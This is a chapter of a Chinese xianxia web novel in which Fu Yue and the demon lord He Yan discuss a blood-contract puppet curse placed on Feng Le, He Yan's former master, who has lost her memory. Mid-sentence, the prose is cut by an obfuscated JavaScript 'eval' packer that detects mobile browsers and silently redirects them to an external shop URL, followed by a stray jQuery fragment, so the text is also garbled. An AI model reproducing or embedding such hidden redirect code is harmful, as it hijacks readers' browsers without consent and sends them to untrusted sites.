天光破晓,朝霞似血。
逢乐懒洋洋地抬手遮了遮眼睛,仰头从指缝里看上去,目光落在那人身上。
那人立在最高处的竹叶上,轻飘飘的好似一片云彩,又身着绿衣,几乎快要和竹叶融为一体。费劲瞧了半天,见是熟人,她松了口气。
小雀一头扎进了扶越怀里,圆滚滚的黑球一抽一抽的,将脑袋死死地埋在衣料里,逢乐差点以为它在哭。
“哎?不是让你跟着……”扶越颇为意外,“魔尊”二字并未说出口,思虑一瞬后也没再苛责,只慈祥地摸了摸那半干不干的羽毛。
扶越并不知道这是唱的哪一出,心道还算来得及时。
逢乐不再管他们,开始将身上湿漉漉的枯叶一点一点摘下来。
轻缓的脚步声逐渐靠近,随后一道剑光自逢乐身旁闪过,一股寒意如滴墨入水般四散开来,寒霜迅速爬满周遭。
清脆的裂竹声使她回头,看向那把插在竹身上的无生剑。
她停下动作,走过去果断拔出。手指抚过剑刃,原本寒气四溢的剑身顷刻冷静下来,看着温良了许多。
她抬眼,看向了那张带着笑意的脸。这笑意浮于表面,看久了反而叫人后背生凉,觉得来人不怀好意。
逢乐移开目光,渗人的感觉才稍微消退了一些,又摸了摸自己的胳膊安抚自己。思虑一瞬后,她好像想起了什么,于是握剑抱拳行礼道:“多谢前辈。”
扶越神色一惊,脸上挂着的笑意簌簌落地,转瞬又恢复如初。这下换他觉得有些后背发凉,连忙道:“何必言谢,也不必唤前辈。”
扶越在心底抹了一把冷汗,一时间竟然替鹤砚心虚起来。算起来,她是鹤砚的师尊,他与鹤砚是平辈,被叫前辈不太好。
鹤砚倒行逆施,顺带还连累了他,实在是造孽啊造孽……扶越在心底感慨。
虽然,扶越本来也不在乎长幼尊卑;虽然,扶越目无尊长背恩负义的事做的也不少;虽然,扶越也不可能将一个仙门的人看做前辈……但是,图个吉利,这声前辈他受不起。
“这把剑,你从何处得来的?”思绪飘忽过后,扶越将这小插曲抛到一边,想起正事后单刀直入地开口询问。
“别人送的。”逢乐不以为意,脑子里想起了锦禾。
*
晌午,药居。
鹤砚推开了院子里的门,脚步虚浮地走了进来,他脸色苍白,脸上没什么表情。此时扶越正在给院中药草浇水,一看来人是鹤砚,于是接着浇水。
能自己从寒泉走出来,说明问题不大。如果要等到扶越亲自去寒泉捞出来,那就说明——他离死不远了。
日头正晒,浇水实非良策。
扶越手里没停,清透的泉水被悉数泼出。晶莹的水珠大多顺着叶片滑落,与土壤接触后没了踪影;少数附着在深绿的叶片上,反射出刺眼光芒。
他想看看,逆道而行,结局何如。
“吱呀”一响,鹤砚推开房中木门,走了进去。
屋外一切与屋内隔离,静得离奇。他刚迈了两步,就瞧见床榻之上躺着个人,遂轻手轻脚靠近。
鹤砚抬手掀开床帐,看清是谁后没有半分意外,径直在床边坐下。
他眼中浮动着阴冷的光,落在逢乐脸上时,就像太阳底下的冰雪,坚持不了片刻便被融化得荡然无存。
从前,不知是害怕还是敬畏,他在她面前总是很乖。因为他很乖,所以他以为,她很喜欢他这个徒弟。
直到钩吾山出事那天,一切都变了——她要杀他。
那时,多年的师恩在他眼里重于天地,因他觉得师尊与日月天地相似,太阳一样温暖,月亮一样柔和,天一样令人敬仰,地一样宽容无私。师尊义无反顾的杀心令他恍然明白,他是微不足道的,连一粒灰尘都不如。
一想起那天,满腔怨恨愤怒与不甘嫉妒,就会填满他的胸口,最后变成难过。
他的眼眶微微发红,眼神波动却不大,藏在血肉之下的那颗心已经绞作一团。
门口传来响动,鹤砚收回逐渐崩溃的思绪,神色与往常无异,只是看起来有些疲惫。
扶越入内,手中折扇摇晃不停,他往窗边一站,将窗户支起。
一只眼熟的小雀从扶越怀里钻出,扑腾了两下翅膀落在窗沿上,蹦蹦跳跳的似乎心情不错。
“可有后悔?”
“后悔什么?”
鹤砚偏了偏头,目光停在窗户上。
“你将她引到木犹面前,叫她吃了些小苦头不说,还中了血契。”扶越手中没停,顿了顿,语气认真了不少,“血契可不容易解开。”
小雀终于注意到了鹤砚的目光,被惊得往后一跳,直接从窗户上翻了出去。
“吓她做什么?”扶越转身挡住窗户,也挡住了鹤砚的视线。他将手背在身后,缓过神来的小雀挥着翅膀飞回来,落在他的掌心中,歇了歇又连忙藏进了衣袖里。
“她听你的吩咐罢了,何必怪她。”扶越自然护短,底气却不太足。
小雀是他养大的,从前还是个蛋的时候被他捡回来,一日一日精心照顾,看着破壳的。她没什么修为,但好在飞的快又机警,像是打探消息、报信之类的事情一向做得很好。
早前,他将小雀派去了鹤砚身边。虽说有监视的嫌疑,但实则是鹤砚身边无可用之人,拿它临时塞过去充数的。
前些日小雀受到鹤砚的授意,向逢乐告知了一些关于木犹的事情。并且得到了鹤砚的吩咐,大意是好好注意逢乐的动向,时刻汇报之类的。
今早扶越得知,小雀因为贪吃误食毒果,昏睡太久没来得及报信,这才令逢乐迟迟未能得救。他捋清一切后两眼一黑,瞬间掐灭了置身事外的念头,血契的事不想管也得管了。
说来,第一次为魔尊办事就搞砸了,不仅砸得稀碎,搞砸的原因还这么……这么……说出去都让人笑话。
鹤砚生气自然
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17966429|214533||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
情理之中,不过扶越也不能放弃自家孩子,只得相护到底。
鹤砚没多说什么,只默默在心里给他们的大脑门上贴了“不靠谱”三个大字。
“不过你放心!血契肯定是能解的。”扶越被盯得心虚,抢先开口转移话题。
鹤砚不置一词。
“我见到她时已经问清楚,”扶越合扇一指,指的正是榻上的逢乐,“给她下咒的是谁我已猜了七八分,只要找到下咒之人就能解开。”
“血契是傀儡咒的一种,只要契约主人念出她的名字,就能短暂地将她取而代之,等同于附身夺舍。且,她死,主人毫发无伤;主人死了,她以及所有傀儡都会死。她伤不了契约主人分毫,对方却能一句话决定她的生死。”扶越娓娓道来,说完后脸色阴沉下来,“此咒很是阴毒,还只能由契约主人自愿解开。从前只听过未见过,也算是开了眼界。”
扶越最讨厌麻烦事,木着张脸,颇有些阴阳怪气,“你说你,非要将她引到木犹面前去不可吗?”
“先前仓促,编出的说辞太过粗糙,总有一日,她会发觉我在骗她。”鹤砚平静得反常,说话时有些气若游丝,“所以,我要她早日发觉,早日怀疑,再一点一点打消她的怀疑。”
扶越目瞪口呆,无奈叹息道:“心眼真多。”
博山炉里的烟雾缥缈朦胧,逢乐听不见,也不会被吵醒。扶越本意是想让她好好睡一觉,也防止血契被催动,继而鸡飞狗跳的。
“所以,你真打算骗她一辈子?”扶越这个问题问的多少有些不合时宜。
“直到死前,我都不会让从前的事落进她的耳朵里。”鹤砚语气十分决绝,眼中透露着阴森森的寒凉,既不后悔也没有动摇。
他直面着自己早已千疮百孔的心,第一次接受了它——不论出于什么,他就是想要她留在身边。
之前或许还有许多试图说服自己的理由冒出来,直到今日他才肯承认,一切都是私心。
他不甘心过去化成一场空,贪心地想去救她从而得到原谅,痴心回到过去却明知回不去,临了生出恐惧,放她离开。
本以为穷途末路,转机却出现了——她忘记了一切。
那么,既然回不到过去,还可以有来日。他只要好好守着她,未来每一日都会像从前一样。
这是他抓住的一线机会,他绝不会放开。
“行。”扶越一愣,再度开扇,急促的扇风吹得他鬓边的发丝不得安宁,心里更是不安得犹如热锅上的蚂蚁。
片刻后,他猛地合扇,心道:算了,护一个也是护,护两个也是护。还是具体想想解开血契的办法……
要解血契,就绕不开下咒的人,要想找到那人,就绕不开木犹。难道真要他跟木犹翻脸不成?
想着想着,扶越开始焦头烂额,差不多快变成一块焦炭了。
静若寒蝉的鹤砚,倒是坚定得很,什么后果他不想考虑,从头到尾只有一个念头:解咒。